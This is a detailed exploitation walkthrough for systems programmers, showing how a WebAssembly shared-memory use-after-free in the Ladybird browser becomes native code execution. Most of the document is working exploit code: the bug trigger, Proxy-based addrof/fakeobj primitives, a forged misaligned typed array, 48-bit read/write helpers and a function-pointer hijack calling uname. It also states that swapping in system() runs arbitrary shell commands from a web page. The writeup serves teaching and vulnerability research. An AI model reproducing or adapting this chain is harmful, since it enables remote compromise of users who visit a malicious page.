From a stale pointer to uname -a
Exploiting a WebAssembly shared-memory UAF in the Ladybird browser, explained for systems programmers

This is a complete walkthrough of turning a single use-after-free in Ladybird's WebAssembly implementation into native code execution that calls uname(2) and renders the result on the page. It is written for people who know C/C++ and how processes and heaps work, but have never done browser or JavaScript-engine exploitation. Every dead end is documented, because the dead ends are where the learning happens.

Ladybird is an unusually good target for learning this material precisely because it has none of the defensive layers that production engines have grown over the past decade: no pointer authentication, no heap cage, no external-pointer tables, no CFI, no renderer sandbox. The chain you'll read here is the textbook chain (UAF โ†’ addrof/fakeobj โ†’ arb R/W โ†’ function-pointer hijack), the one every JSC and V8 writeup from 2014-2018 starts from before spending forty pages on mitigation bypasses. Here you get to see each rung of the ladder doing exactly what it says on the tin. Section 11 walks through which step would have failed where on modern Safari and Chrome.

0. The 30-second version
1. Background you actually need
2. The bug
3. What the bug gives us (and what it doesn't)
4. addrof / fakeobj: the apply+Proxy trick
5. Bootstrapping arbitrary read/write
6. Making it stable: the two-array trampoline
7. Calling native code
8. Cleanup and reliability engineering
9. Graveyard of failed approaches
10. Lessons
11. Why this exact chain dies on Safari and Chrome

0. The 30-second version

UAF: stale Uint32Array addrof / fakeobj 1-byte arb R/W full 48-bit arb R/W hijack fn-ptr โ†’ uname(VM*)
  1. A Uint32Array keeps a raw pointer into a freed 128 KiB heap block.
  2. We make the engine reallocate that exact block as an array of JavaScript values, so the same bytes are simultaneously "raw u32s" to one view and "object pointers" to another → addrof and fakeobj.
  3. We forge a pointer to the middle of two adjacent objects so the interpreter's typed-array fast path reads the wrong fields → a 1-byte read/write anywhere.
  4. We use that to corrupt two real Uint32Arrays into a self-retargeting pair → clean 32-bit read/write at any 48-bit address.
  5. We overwrite a built-in function's C function pointer with uname, call it from JS, and read the kernel version string out of the engine's own memory.

1. Background you actually need

You can skip any subsection you already know. Everything else in this writeup leans on these five concepts.

1.1 Two heaps, not one

A JS engine manages two completely separate kinds of heap memory:

GC heap (LibGC) mmap'd 16 KiB "HeapBlocks" Object Array Uint32Array String Function Shape fixed-size cells, type-segregated, mark-sweep, never moves addresses โ‰ˆ 0x14X_XXXX_XXXX malloc heap (mimalloc) size-class bins, 32 MiB segments ArrayBuffer backing array element storage Vector<T> buffers wasm linear memory variable-size, freed with free(), reused by next same-size alloc addresses โ‰ˆ 0x5E9_XXXX_XXXX

A Uint32Array object (the thing with a vtable, a shape, a length) lives in the GC heap. The 64 KiB of actual numbers it indexes into live in the malloc heap. The object holds a raw pointer across that boundary. Our bug is a stale copy of that pointer.

A use-after-free in the malloc heap can only ever be reclaimed by another malloc-heap allocation of the same size class. You cannot make a GC cell land there. This single fact drove half the design decisions in this exploit.

1.2 NaN-boxing: how JS fits a pointer and a type tag into 8 bytes

Every JS value (number, string, object, undefined) is stored as a single 64-bit word. The trick: IEEE-754 doubles have 252โˆ’2 unused NaN bit patterns. The engine claims a slice of NaN-space for tagged pointers:

tag (16 bits) payload (48 bits) 63480 0xFFF9 = Object โ†’ payload is a GC cell pointer 0xFFFA = String   0x7FFA = Int32   0x7FFE = undefined anything else = the 64 bits are a literal IEEE double

Consequence: if you can read the raw 8 bytes where a JS value is stored, the low 48 bits of an object value are its heap address. And if you can write those 8 bytes, you can make JS believe any address you choose is a valid object. Those two operations have names:

Think of NaN-boxing as a tagged union packed into a double. addrof is "read the union as raw bytes"; fakeobj is "write raw bytes and read them back through the union's object arm." Neither is supposed to be possible from JS, that's the whole game.

1.3 The asm interpreter fast path: why field offsets matter more than vtables

Ladybird's bytecode interpreter is hand-written assembly. For hot operations like array[i] it does not call a C++ virtual method, it reads a few bytes at hard-coded offsets and dispatches inline. Here is the typed-array element load, annotated:

.try_typed_array:
    ; t3 = the object pointer we just unboxed
    ldr  x5, [x3, #104]      ; โ† TYPED_ARRAY_CACHED_DATA_PTR  (m_data)
    cbz  x5, .slow           ;   null โ†’ not cached, bail
    ldr  w0, [x3, #68]       ; โ† TYPED_ARRAY_ARRAY_LENGTH_VALUE
    cmp  w4, w0              ;   index < length?
    b.hs .slow
    ldrb w0, [x3, #92]       ; โ† TYPED_ARRAY_KIND  (0=Uint8, 3=Uint32, โ€ฆ)
    ...
    ldrb w0, [x5, x4]        ;   *(m_data + index) , that's it

Notice what it does not check: the vtable, the shape, the prototype, whether the object is even a real TypedArray. It checks one bit in a flags byte at offset 10, then trusts four fields. This is the security/performance trade-off that every JIT and asm-interpreter makes, and it is what lets a forged object work without forging a whole class hierarchy.

offsetfieldfast path reads it as
+10m_flagsbit 3 set? โ†’ "this is a typed array"
+68m_array_lengthu32 bound check
+92m_kindu8: which element type
+104m_dataraw pointer, dereferenced blindly

The four fields the asm fast path trusts. Forge these, and fake[0] reads or writes wherever you point m_data.

1.4 The Object cell layout

Every plain {} object is a 64-byte GC cell. We will be abusing the exact byte offsets of its members later, so here they are once:

offsizefieldnotes
08vtablepoints into liblagom-js __DATA
82GC cell headerstate, mark bit
101m_flagsIsTypedArray=8, MayInterfere=16, IsFunction=128, โ€ฆ
111m_indexed_storage_kind0=None 1=Packed 2=Holey 3=Dict
124m_indexed_array_like_size
168m_shapeGC ptr
248m_named_propertiesโ†’ +48 if โ‰ค2 props (inline)
328m_indexed_elementsmalloc ptr or null
408m_private_elementsnull for plain objects
488m_inline_named_storage[0]= obj.a (first named prop)
568m_inline_named_storage[1]= obj.b (second named prop)

The green rows are the only bytes of a plain {} that JavaScript can set to fully arbitrary values.

1.5 mimalloc size classes (the part that bit us)

mimalloc bins allocations by size. A freed block is only ever reused for a request in the same bin. The bin boundary that matters here:

Our freed block is 128 KiB, large. To reclaim it, we must trigger another โ‰ˆ128 KiB malloc. To leak its address via a free-list pointer, we'd need it to be medium. It isn't. (We tried. See ยง9.)

1.6 Proxy and "traps"

Proxy is a standard JavaScript built-in that wraps an object and lets you intercept every fundamental operation on it with your own functions. The spec calls those interceptor functions traps: the get trap intercepts property reads, set intercepts writes, has intercepts in, and so on.

const p = new Proxy({}, {
  get(target, key) { console.log('read', key); return 42; }
});
p.length;   // prints "read length", evaluates to 42
p[0];       // prints "read 0",      evaluates to 42
p[1];       // prints "read 1",      evaluates to 42

The reason this matters for exploitation: a Proxy is the only way in JavaScript to make obj.length and obj[i] run arbitrary user code synchronously. A real array hands back its elements without re-entering JS. Any spec algorithm that loops "read .length, then read [0], [1], …" therefore turns into a stream of attacker callbacks if you feed it a Proxy, interleaved with whatever the engine is doing between reads. ยง4 abuses exactly that.

2. The bug

WebAssembly's Memory object owns a growable byte buffer. When you ask for it from JS you get a SharedArrayBuffer, and you can wrap that in a Uint32Array to poke at the bytes. For speed, the typed-array caches a raw pointer to the buffer's data:

// TypedArrayBase
u8* m_data;   // = buffer.data() + byte_offset
              // asm fast path reads this directly

When the wasm memory grows, the underlying ByteBuffer may realloc, old block freed, new block elsewhere. Every cached m_data must be refreshed. Here is the refresh logic:

// Memory::refresh_the_memory_buffer(), simplified
if (!buffer->is_shared_array_buffer()) {
    detach_array_buffer(*buffer);                       // non-shared: detach (nulls views)
} else {
    buffer->refresh_cached_typed_array_view_data_pointers();   // shared: refresh views
}
buffer = create_a_fixed_length_memory_buffer(...);      // โ† then REPLACE m_buffer

The bug is the last line. m_buffer is replaced with a fresh wrapper after every grow. So on the second grow, refresh_โ€ฆ() runs on the second wrapper (which has no views) and the views on the first wrapper are forgotten. They keep their old m_data.

// wasm page = 64 KiB; grow(n) grows BY n pages
// t=1
const mem  = new WebAssembly.Memory({initial: 1, maximum: 1000, shared: true});
                                       // 1 page  = 64 KiB ByteBuffer @ A
const bufA = mem.buffer;
const viewA = new Uint32Array(bufA);   // viewA.m_data = A (cached raw u8*)
// t=2
mem.grow(1);                           // 64K โ†’ 128K: alloc @ X, free A.
                                       //   refresh runs on bufA โ†’ viewA.m_data = X โœ“
                                       //   then m_buffer โ† bufB
// t=3
mem.grow(100);                         // 128K โ†’ 102ยท64K โ‰ˆ 6.4M: alloc @ Z, FREE X.
                                       //   refresh runs on bufB (no views) โ†’ viewA.m_data = X โœ— stale
viewA[0];                              // UAF read  @ X  (freed 131 072-byte block)
viewA[0] = 0x41414141|0;               // UAF write @ X

The two grows must be separate calls: a single grow(101) would refresh viewA.m_data straight to Z and nothing would dangle. The 100 is arbitrary; any nonzero second grow crosses a mimalloc size-class boundary and forces X to be freed. The freed block is exactly 131 072 bytes, which is the magic number behind every reclaim allocation from ยง4 onward.

Three pointers are in play and the bug only makes sense if you keep them apart:

fieldontyperole
m_bufferMemoryGC::Ptr<SharedArrayBuffer> which wrapper mem.buffer returns; replaced after every grow; the refresh runs on whatever this points at
m_viewed_array_bufferviewAGC::Ptr<SharedArrayBuffer> which wrapper viewA was created on; viewA is in that wrapper's m_cached_views set; never changes
m_dataviewAraw u8* cached pointer straight into the malloc'd bytes; what the asm fast path dereferences
Memory.m_buffer (which wrapper) viewA registered on (m_viewed_array_buffer) viewA.m_data (raw u8*, what asm reads) t=1 new Memory({initial:1, shared:true}); viewA = new Uint32Array(mem.buffer) Memory bufA viewA ByteBuffer 64K @ A m_data = A โœ“ t=2 mem.grow(1) โ†’ ByteBuffer 64Kโ†’128K; refresh(bufA).views; m_buffer โ† bufB Memory bufA bufB viewA ByteBuffer 128K @ X m_data = X โœ“ (refresh walked bufA's view list) bufA and bufB both point at the same ByteBuffer; bufAโ†’.data() = bufBโ†’.data() = X. t=3 mem.grow(100) โ†’ ByteBuffer 128Kโ†’6.4M; refresh(bufB).views = โˆ…; m_buffer โ† bufC Memory bufA bufB bufC viewA ByteBuffer 6.4M @ Z 128K @ X (freed) m_data = X โœ— STALE (bufA was never walked again) bufA/bufB/bufC โ†’ .data() all = Z (correct). Nothing legitimate points at X anymore.

Grey = which wrapper Memory tracks. Dashed blue = which wrapper viewA is registered on (fixed at bufA forever). Green/red = viewA.m_data, the raw pointer the asm fast path actually dereferences. The bug is that after t=2 the grey and blue arrows go to different wrappers, so the refresh at t=3 walks an empty list.

Ladybird does not gate shared:true on cross-origin isolation headers, so this triggers from any page.
ASAN is blind to this. The only code that ever dereferences the stale m_data is the hand-written asm fast path above, and AddressSanitizer can only instrument compiler-emitted memory accesses. Every C++ accessor (TypedArrayPrototype methods, Atomics, the slow-path helper) re-derives the data pointer via viewed_array_buffer()->buffer().data() and correctly reaches Z, so under the Sanitizer build viewA[0] just reads quarantine garbage with no report. The reclaim-and-compare in bug1-minimal.html (allocate a fresh ArrayBuffer(131072), write a sentinel, read it back through viewA) is how you demonstrate the UAF without a debugger.

3. What the bug gives us, and the giant thing it doesn't

After two grows we have a 64 KiB read/write window over a freed 128 KiB mimalloc block. Call its address X. We can:

We can not:

It's a keyhole into a dark room. You can reach through and feel what's there, you can put things on the table, but you don't know the room number, and you can't reach the light switch on the far wall.

The classic plan is: get the allocator to put something interesting on that table. Specifically, something that holds NaN-boxed JS values, so that the same 8 bytes mean "object pointer" to one accessor and "two u32s" to viewA. That overlap is addrof and fakeobj.

4. Stage 1 addrof & fakeobj: the apply+Proxy trick

4.1 The first thing everyone tries (and why it fails here)

The textbook reclaim is a JS array's element storage: [obj, obj, obj, โ€ฆ] stores a contiguous Value[] on the malloc heap. Spray a few, one lands at X, and viewA[2..3] overlaps spray[k][0].

It doesn't work, for an annoyingly mundane reason: Object::grow_indexed_elements grows by ร—1.5 (8, 12, 18, 27, โ€ฆ 11623, 17434), and allocate_indexed_elements(cap) does kmalloc(8 + cap*8). None of those sizes lands in mimalloc's 131072-byte bin. Jumping straight to a large index (a[16382] = x) trips the sparse-array threshold (200) and converts to a hash map instead. We tried half a dozen fill patterns; none produced a single 128 KiB Value[]. See ยง9 for the full graveyard.

4.2 What does allocate exactly 131072 bytes of Values?

After grepping for every ensure_capacity on a Vector<Value>, one stood out:

// AbstractOperations.cpp, CreateListFromArrayLike
auto length = TRY(length_of_array_like(vm, array_like));
auto list = GC::RootVector<Value> { vm.heap() };
list.ensure_capacity(length);                 // โ† kmalloc(mi_good_size(length * 8))
for (size_t i = 0; i < length; ++i)
    list.append(TRY(array_like.get(i)));       // โ† user-visible callback per element!

This is the spec algorithm behind Function.prototype.apply(thisArg, argArray) when argArray isn't a fast packed array. With length = 16384, ensure_capacity does one mi_malloc(131072), exactly our bin, and that block sits live on the C++ stack while the loop runs. And the loop calls back into our code on every iteration if argArray is a Proxy.

Make the freed block be reclaimed by something whose lifetime we are inside of. The Proxy get trap runs while the Vector<Value> backing is at X, and we still hold viewA at X. Same bytes, two interpretations, and a callback in the middle to exploit it.
const proxy = new Proxy({}, {
  get(t, k) {
    if (k === 'length') return 16384;             // forces 131072-byte Vector
    let i = k|0;
    if (i >= 1 && i <= 4)                         // addrof: harvest what trap(i-1) stored
      _leak[i-1] = viewA[(i-1)*2] | (viewA[(i-1)*2+1] << 32);
    if (i === 5 && _do_abort) throw _abort;       // addrof mode: bail early (16379 traps saved)
    if (i === 16383 && _do_write) {               // fakeobj mode: plant on the LAST iteration
      viewA[0] = _wlo; viewA[1] = _whi;
    }
    return (i < 4) ? _slot[i] : 0;
  }
});
function recv(){ _capture[0] = arguments[0]; }
recv.apply(null, proxy);

Walked through linearly, recv.apply(null, proxy) does this:

  1. Engine reads proxy.length โ†’ our get trap runs with key='length' โ†’ we return 16384.
  2. Engine does list.ensure_capacity(16384) โ†’ one malloc(131072) โ†’ mimalloc hands back X (the most-recently-freed 128 K block). list's storage and viewA.m_data are now the same bytes.
  3. Engine reads proxy[0] โ†’ our trap runs with key='0' โ†’ we return some value vโ‚€. Engine writes the 8-byte NaN-boxed encoding of vโ‚€ at X+0, i.e. at viewA[0..1].
  4. Engine reads proxy[1] โ†’ our trap runs. Before returning, we can look at viewA[0..1] and see the raw bytes of vโ‚€ the engine just stored. We can also overwrite any earlier viewA[..] slot, which retroactively edits list[..].
  5. …repeat through proxy[16383]…
  6. Engine calls recv(list[0], list[1], …, list[16383]). Inside recv, arguments[k] is whatever list[k] ended up as after step 5, including anything we overwrote.

addrof(obj) is steps 3-4 with vโ‚€ = obj: at trap 0 return obj; at trap 1 read viewA[0..1], mask off the 0xFFF9 tag, that's the address; throw to bail out of the remaining 16382 iterations.

fakeobj(addr) is steps 3-6: return 0 at every trap so list[..] stays full of harmless INT32(0)s, and at trap 16383 write viewA[0] = addr & 0xFFFFFFFF, viewA[1] = 0xFFF90000 | (addr >> 32). That edits list[0] in place to an OBJECT-tagged Value pointing at addr. The loop ends, recv runs, arguments[0] is a live JS reference the engine believes is the object at addr, and recv stashes it in a global.

freed 128 KiB block @ X (mimalloc large bin) โ€ฆnow reclaimed as RootVector<Value> backing for the duration of apply()โ€ฆ viewA (stale Uint32Array) viewA[0..1] = raw lo/hi u32 of qword at X+0 read โ†’ addrof  ยท  write โ†’ plant fakeobj create_list_from_array_like loop trap(i) returns v โ†’ list[i] = NaN-boxed(v) at X+iยท8 recv(...args) sees args[i] = list[i] addrof(obj): trap(0) returns obj โ†’ list[0] = 0xFFF9_0000_<addr> at X+0. trap(1) reads viewA[0..1] โ†’ low 48 bits = address. Done. fakeobj(addr): trap(16383) does viewA[0]=lo(addr), viewA[1]=0xFFF90000|hi(addr). loop ends, recv() runs, arguments[0] is now a JS reference to "the object at addr".

4.3 Why "the LAST iteration" matters: a GC near-miss

The RootVector is registered as a GC root. If GC runs during the loop - and 16384 Proxy callbacks allocate plenty, it will scan every Value in the vector. A forged object pointer to a misaligned address would be visited, its "vtable" dereferenced, and we'd crash before even getting started. So we leave list[0] as a harmless integer until iteration 16383, plant the forged value, and let the loop end. Between the write and recv() there are no allocations, hence no GC.

4.4 Reliability gotcha #1: did the Vector actually land at X?

mimalloc reuses the most-recently-freed large page first, so the Vector usually lands at X. But any stray 128 KiB allocation between the grow(100) and the apply steals the slot. Two things caused that in practice:

  1. Our own spray. Building the array of candidate {} pairs (see ยง5) after the UAF made the holding array's element storage grow through the 128 KiB bin. Fix: do every up-front allocation, spray, helper buffers, even a warm-up apply, before triggering the UAF.
  2. The script's own bytecode. When stage-2 code was added to the same <script>, the top-level Executable's constant pool crossed into the 128 KiB bin and X was gone before we ever called apply. Fix: put stage 2 in a second <script> tag, compiled only after stage 1 has finished.

And a belt-and-suspenders check: at trap index 1, list[0] has just been stored. If the Vector is at X, viewA[1] must equal 0x7FFA0000 (the high half of INT32_TAG for the 0 we returned). If it doesn't, throw, free the Vector, and retry, up to 32 times.

A subtle bug cost an hour here: the retry loop checked typeof f === 'object'. But the forged "flags" byte (see ยง5) sometimes has bit 7 (IsFunction) set, so typeof returned "function" and we kept retrying a perfectly good fake. The fix is to check f !== 0, strict equality between an object-tagged value and a number is always false, no field reads needed.

5. Stage 2 1-byte arbitrary read/write: forging a misaligned TypedArray

5.1 The chicken-and-egg problem

We have addrof (object โ†’ address) and fakeobj (address โ†’ object). The obvious next step is to forge a Uint8Array whose m_data field points wherever we like. But a forged object's body has to live at an address we know, and the only memory we can write to is at X, whose value we don't know.

Every "just leak X" idea failed: This circularity is the central puzzle of the exploit.

5.2 Breaking the cycle: don't write the fake, find it

Instead of writing a fake object body into memory we control, we point fakeobj() at memory that already contains the right bytes, by accident of layout. We need four specific values at four specific offsets from some address. We have addrof, so we know exactly where every GC object lives, byte for byte.

It's like a ransom note. You don't own a printing press, but you have a stack of newspapers (the GC heap) and you know exactly what's printed where (addrof). You just need to find a spot where the existing letters happen to spell what you need.

The newspapers are plain {} objects: 64-byte cells, allocated contiguously when you create them in a tight loop. The only bytes we can choose are the two inline property slots at +48 and +56. Everything else is fixed by the engine. So the question becomes: is there an offset ฮ” such that fakeobj(addrof(holder)+ฮ”) makes the four typed-array fields land on bytes that are either (a) already a useful constant, or (b) one of those two controllable slots?

After tabulating a dozen candidate ฮ” values, ฮ” = 16 works, using two adjacent cells:

holder @ H (64-byte Object cell) vtable hdr f size shape named* = H+48 indexed* private*=0 inline[0] inline[1] +0+10 +24+48+56 next @ H+64 (the very next Object cell; next.a, next.b set from JS) vtable shape private*=0 next.a next.b +16+40+56 fake "Uint8Array" @ H+16, what the asm fast path reads: +10 flags = byte 2 of (H+48) need bit 3 set +68 array_length = bytes 4-7 of next.shape GC ptrs โ‰ˆ 0x1_4XXX_XXXX โ†’ = 1 +92 kind = byte 4 of next.private* null โ†’ 0 = Uint8Array +104 m_data = next.inline[1] = next.b โ† we set this! The asm fast path re-reads m_data from the cell on every access. So: next.b = bitsToDouble(addr); // store target address as a denormal double in next's inline slot fake[0] // = *(u8*)addr , one byte, anywhere in the 48-bit address space fake[0] = v // *(u8*)addr = v

Three of the four fields fall on bytes that are incidentally correct for any plain object on this platform. The fourth (the one that matters) falls on a slot we set from JavaScript. The fast path's only bound check is index < array_length; with length forced to 1, fake[0] is the only legal index, but that's all we need.

Why not just put the fake body in inline properties?

The obvious alternative is to start the fake right at the inline storage (fakeobj(H+48)) so the first 16 bytes are bytes we set. It doesn't work, and seeing why is instructive. A plain {} has exactly two 8-byte inline slots at +48 and +56; everything else in the 64-byte cell is engine-managed. The four fast-path reads sit at {+10, +68, +92, +104}, which modulo 64 is {10, 4, 28, 40}. For a read to land on an inline slot it needs (ฮ” + offset) mod 64 โˆˆ [48, 64). No single ฮ” puts more than two of the four into that window, so at least two fields will always land on bytes you don't control. The question is then which two, and whether the uncontrolled ones happen to be useful constants.

ฮ”flags @+10length @+68kind @+92m_data @+104verdict
48 cell0+58 = cell0.b โœ“ cell1+52 = cell1.a โœ“ cell2+12 = array-like-size cell2+24 = m_named_properties (self-ptr, fixed) m_data not retargetable โœ—
20-23 cell0+30..33 = high bytes of self-ptr / null = 0 cell1+24..27 cell1+48..51 = cell1.a โœ“ cell1+60..63 = cell1.b โœ“ flags always 0 โ†’ not "TypedArray" โœ—
16 cell0+26 = bit 19 of H (~50%) cell1+20 = high u32 of GC ptr = 1 cell1+44 = byte 4 of null = 0 cell1+56 = cell1.b โœ“ only ฮ” where m_data is controllable AND the rest are usable constants

ฮ”=48 gives you controllable flags and length but a fixed m_data (you'd read/write one address forever). ฮ” in [20,24) gives controllable kind and m_data but a guaranteed-zero flags byte, so the fast path never even takes the typed-array branch. ฮ”=16 is the only offset where m_data hits an inline slot and the three uncontrolled fields all happen to read as workable constants. The same exhaustive table is why a small ArrayBuffer's 32-byte inline storage doesn't help either: 32 contiguous controllable bytes still can't cover a 95-byte field span.

Why one byte and not four or eight?

Because kind is one of the uncontrolled fields. At ฮ”=16 it lands on byte 4 of next.m_private_elements, which is nullptr for any plain {}, so kind reads 0, and 0 = TYPED_ARRAY_KIND_UINT8. The fast path dispatches on kind to pick the load/store width, so fake[0] compiles to ldrb/strb. Getting kind = 3 (Uint32) or 11 (Float64) would need a ฮ” that puts +92 on an inline slot, and as the table shows, every such ฮ” kills the flags check. So you take the 1-byte primitive and immediately spend ~24 of those byte-writes corrupting two real Uint32Arrays into the clean 4-byte primitive of ยง6.

5.3 The one constraint we can't paper over

The flags byte at fake+10 is byte 2 of the value H+48, i.e. bits 16-23 of the holder's own address (plus 48). Bit 3 of that byte (IsTypedArray) must be 1, which means bit 19 of the holder's address must be 1. We don't get to choose addresses; ASLR does.

HeapBlocks are 16 KiB and individually mmap'd, so each block's base address has an independent ~50% chance of satisfying this. We spray 4096 {holder, next} pairs (โ‰ˆ32 blocks), addrof each pair to check adjacency (N โˆ’ H == 64) and the bit-19 condition, and pick the first winner.

First attempt sprayed the pairs after the UAF and stored them with pairs.push(h, n), and the pairs array's own element storage grew through the 128 KiB bin and ate X. Second attempt sprayed too few pairs, all in one HeapBlock, bit 19 was 0 for the whole block, "no suitable pair." Both fixed by spraying 4096 pairs before the UAF into a pre-sized container.

5.4 Why this primitive is radioactive

fake is an object-tagged JS value pointing at H+16, the middle of a GC cell. If the garbage collector ever visits it, it will treat H+16 as a cell, read the "vtable" (actually holder.m_shape), and call through it. Crash.

The GC scans every Value in every live object and every interpreter stack slot. The moment fake lands in any of those, the next allocation that triggers GC kills us. So the rule is: between materialising fake and dropping it, do not allocate. No string concatenation, no BigInt arithmetic, nothing. Every address we'll need is computed first, stored as plain int32 lo/hi pairs, and the fake is used in a tight allocation-free burst:

// BEFORE creating fake: compute everything that needs addrof/BigInt
let R1 = addrof(rw1), R2 = addrof(rw2), V = addrof(viewA);
let R1lo = lo32(R1), R1hi = hi32(R1), ...;

let fake = fakeobj(Haddr + 16n);        // โ† from here on, NO ALLOCATIONS
function fw8(lo,hi,off,v){              //   one-byte write helper:
  next_cell.b = bitsToDouble(lo+off, hi);  //   PutById on existing prop โ†’ IC hit, no alloc
  fake[0] = v|0;                           //   PutByValue typed-array fast path, no alloc
}
fw8(R1lo,R1hi, 68, 0xFF); ...           //   patch rw1 / rw2 (next section)
fake = null; next_cell.b = 0;           // โ† safe again

6. Stage 3 Stable, full-range read/write

The 1-byte primitive works at any address but is fragile (GC-unsafe) and slow (one byte, retarget, repeat). We use it exactly once, to corrupt two real Uint32Arrays into a self-retargeting pair:

rw1 : Uint32Array (real GC cell) m_array_length โ† 0x7FFFFFFF m_data โ† addrof(rw2) rw2 : Uint32Array (real GC cell) m_array_length โ† 0x7FFFFFFF m_data โ† (set per access via rw1) rw1[i] writes into rw2's cell r32(addr): rw1[26]=lo(addr); rw1[27]=hi(addr); /* writes rw2+104 = rw2.m_data */ return rw2[0]; w32(addr,v): rw1[26]=lo(addr); rw1[27]=hi(addr); rw2[0]=v|0; Both arrays are genuine TypedArrays with valid vtables and m_viewed_array_buffer, GC can visit them all day.
The first attempt set rw.m_data = 4 with a huge length, so rw[addr/4] would index from near-zero. That covers 8 GiB, enough for the GC heap (โ‰ˆ0x14X_XXXX_XXX) and code (โ‰ˆ0x10X_XXX_XXX), but the VM object lives at โ‰ˆ0xB_XXXX_XXXX and wasm memory at โ‰ˆ0x5E9_XXXX_XXXX, both out of reach. The two-array trampoline costs nothing extra and reaches the full 48-bit space.

Sanity check (and our first real "we own the process" moment):

viewA vtable = 0x10597e330
viewA.m_data = 0x2aaa0bb0000
r64(addrof(viewA))     = 0x10597e330   โœ“ matches
r64(addrof(viewA)+104) = 0x2aaa0bb0000 โœ“ matches  โ† and there's X, finally

7. Stage 4 Calling native code

7.1 Where to find a function pointer to overwrite

Every built-in like Array.isArray or parseInt is a RawNativeFunction, a GC cell with a plain C function pointer at offset 96:

class RawNativeFunction final : public NativeFunction {
    NativeFunctionPointer m_native_function;   // ThrowCompletionOr<Value> (*)(VM&)
};                                             // at cell+96

And the asm Call handler, when it sees the IsFunction|IsRawNativeFunction flag combination, sets up a frame and does exactly this:

.enter_raw_native:
    ldr  x3, [x3, #96]      ; m_native_function
    mov  x9, x3
    mov  x0, x20            ; x20 is the pinned VM* register
    blr  x9                 ; call it
    and  x1, x1, #0xff      ; ThrowCompletionOr discriminator: 0 = value, 1 = threw
    cbnz x1, .exception

So w64(addrof(Array.isArray)+96, anything) followed by Array.isArray(0) calls anything(VM*) with no PAC, no CFI, no vtable check. (The build is plain arm64, not arm64e.)

We use Array.isArray rather than Math.abs because Math.abs is in the interpreter's "known builtin" list and may be compiled to a dedicated CallBuiltin opcode that bypasses m_native_function entirely.

7.2 The argument problem

The catch: x0 is hard-wired to VM*. We don't get to pass a buffer. Three options were considered:

  1. Find a JOP gadget that loads x0 from one of the other live registers (x5 = last argument, x6 = args array) and chains to a second target. A scan of liblagom-js found mov x0, x5; bl <fixed> and mov x0, x5; ldp x29,x30,[sp]; ret, neither chains to a controllable target.
  2. Call system(VM*) after writing the command string at VM[0]. Works, but the VM "vtable" (well, ref-count and early members) is now "uname -a\0โ€ฆ" until we restore it, and any C++ helper that runs before the restore would explode.
  3. Call uname(VM*). uname takes a struct utsname* and writes 5ร—256 bytes of strings into it. So it writes the answer into the VM object itself, and we read it back with our arb-read.

Option 3 wins because of one beautiful coincidence: after the call, the asm checks x1 & 0xff to decide "value or exception?". uname doesn't touch x1 after its last sysctl, and on Darwin/arm64 sysctl's syscall stub leaves x1 = 0. Verified with a 5-line C test:

x1 after uname = 0x0 (low byte = 0x0)
sysname=Darwin release=25.2.0 machine=arm64

So the asm takes the normal-return path, which only touches VM+15088 and VM+15152, both well past the 1280 bytes uname clobbered. Our very next bytecode ops are r32/w32 on rw1/rw2, which stay entirely in the asm fast path and never read the damaged region. We copy out the strings, restore all 1280 bytes from a saved snapshot, and put m_native_function back.

7.3 Finding the addresses

r64(addrof(viewA)) = Uint32Array vtable โˆ’ 0x41a330 = liblagom-js base r64(base+0x3F0E68) = &getenv (GOT) +0x13258 = &uname addrof(anyObj) & ~0x3FFF = HeapBlock* r64(HeapBlock+0) = &VM.m_heap โˆ’ 14704 = VM* 14704 was found at runtime by scanning backwards from &m_heap for a candidate where *(cand+0) looks like a small refcount, *(cand+15040) looks like a small Vector size, and *(cand+15088) (m_running_execution_context, a known offset) points back into the GC heap. It's stable across runs, so it could be hard-coded, but the scan makes the exploit survive minor VM layout churn.

7.4 The call

let vm_save = new Uint32Array(320);
for (let i=0;i<320;i++) vm_save[i] = r32(VM + BigInt(i*4));   // snapshot VM[0..1279]

w64(addrof(Array.isArray) + 96n, uname_addr);                 // hijack
Array.isArray(0);                                             // โ†’ uname(VM*)

let uts = new Uint32Array(320);
for (let i=0;i<320;i++) uts[i] = r32(VM + BigInt(i*4));       // read utsname out
for (let i=0;i<320;i++) w32(VM + BigInt(i*4), vm_save[i]);    // restore VM
w64(addrof(Array.isArray) + 96n, orig_native);                // un-hijack

print(field(uts,0)+" "+field(uts,256)+" "+field(uts,512)+" "+field(uts,768)+" "+field(uts,1024));
======== uname -a ========
Darwin califdev.lan 25.2.0 Darwin Kernel Version 25.2.0: Tue Nov 18 21:09:49 PST 2025;
root:xnu-12377.61.12~1/RELEASE_ARM64_T8142 arm64
==========================

system is at getenv+0x764B0; swapping it in and writing "any shell command\0" at VM[0] works the same way. The 1280-byte clobber window is a generous command-line budget.

8. Cleanup and reliability engineering

Getting from "works once in lldb" to "20/20 in headless mode" was its own project.

Allocation ordering

Every 128 KiB-class allocation must happen either before the UAF or be the apply Vector itself. The pair spray, the rw1/rw2 arrays, the conversion scratch buffer, even a warm-up recv.apply(null, proxy) to JIT-compile the trap, all moved above mem.grow().

Two scripts, not one

Adding stage-2 code to the same <script> grew the top-level Executable's constant table past 128 KiB at parse time, before the UAF, but on the next page load X happened to coincide with where that table had been on the previous run's heap layout. The symptom was maddening: addrof worked, fakeobj failed 32/32 retries, and viewA showed a stale INT32(0) at X+8 from a long-dead Vector. Splitting into two <script> tags (stage 2's Executable isn't built until stage 1 has run) fixed it instantly.

No allocations while holding fake

Covered in ยง5.4. In practice this meant rewriting the read/write helpers to take (lo, hi) int32 pairs instead of BigInts, because every BigInt arithmetic op allocates a fresh GC cell.

Post-exploit teardown

After printing, the headless harness renders the page and tears down the VM. With viewA.m_data still pointing at a long-freed page and rw2.m_data pointing at whatever we read last, the destructor chain occasionally faulted. Nulling viewA.m_data (forces every future access to the slow path, which checks for null) and pointing rw2.m_data back at its own cell made teardown clean โ‰ˆ19/20; the remaining occasional SIGSEGV is after the text dump and doesn't affect the result.

9. Graveyard of failed approaches

These are worth reading because each one teaches something about the constraints.

Packed-array element storage as the reclaim target. The original researcher's PoC did this and "worked," but only because an intermediate growth allocation briefly landed at X and was immediately freed, the data we read was leftover, and the live array was elsewhere. The 1.5ร— growth sequence (8, 12, 18, 27 โ€ฆ 11623, 17434) never produces a 131072-byte allocation, and a[16382]=x on an empty array trips the 200-hole sparse threshold and goes to a HashMap. We tried stepping by 200, by 201, filling backwards, Array.from, .slice(), spread, every path either grows geometrically or goes to dictionary.
Leak X from the mimalloc free list. For medium-size blocks mimalloc writes a next-pointer at block+0 on free. We pre-allocated and freed neighbours hoping *(X+0) would point at one. But 128 KiB > MI_MEDIUM_OBJ_SIZE_MAX (64 KiB), so it's a large object - one per page, no neighbours, next is always NULL. We read 0 every time.
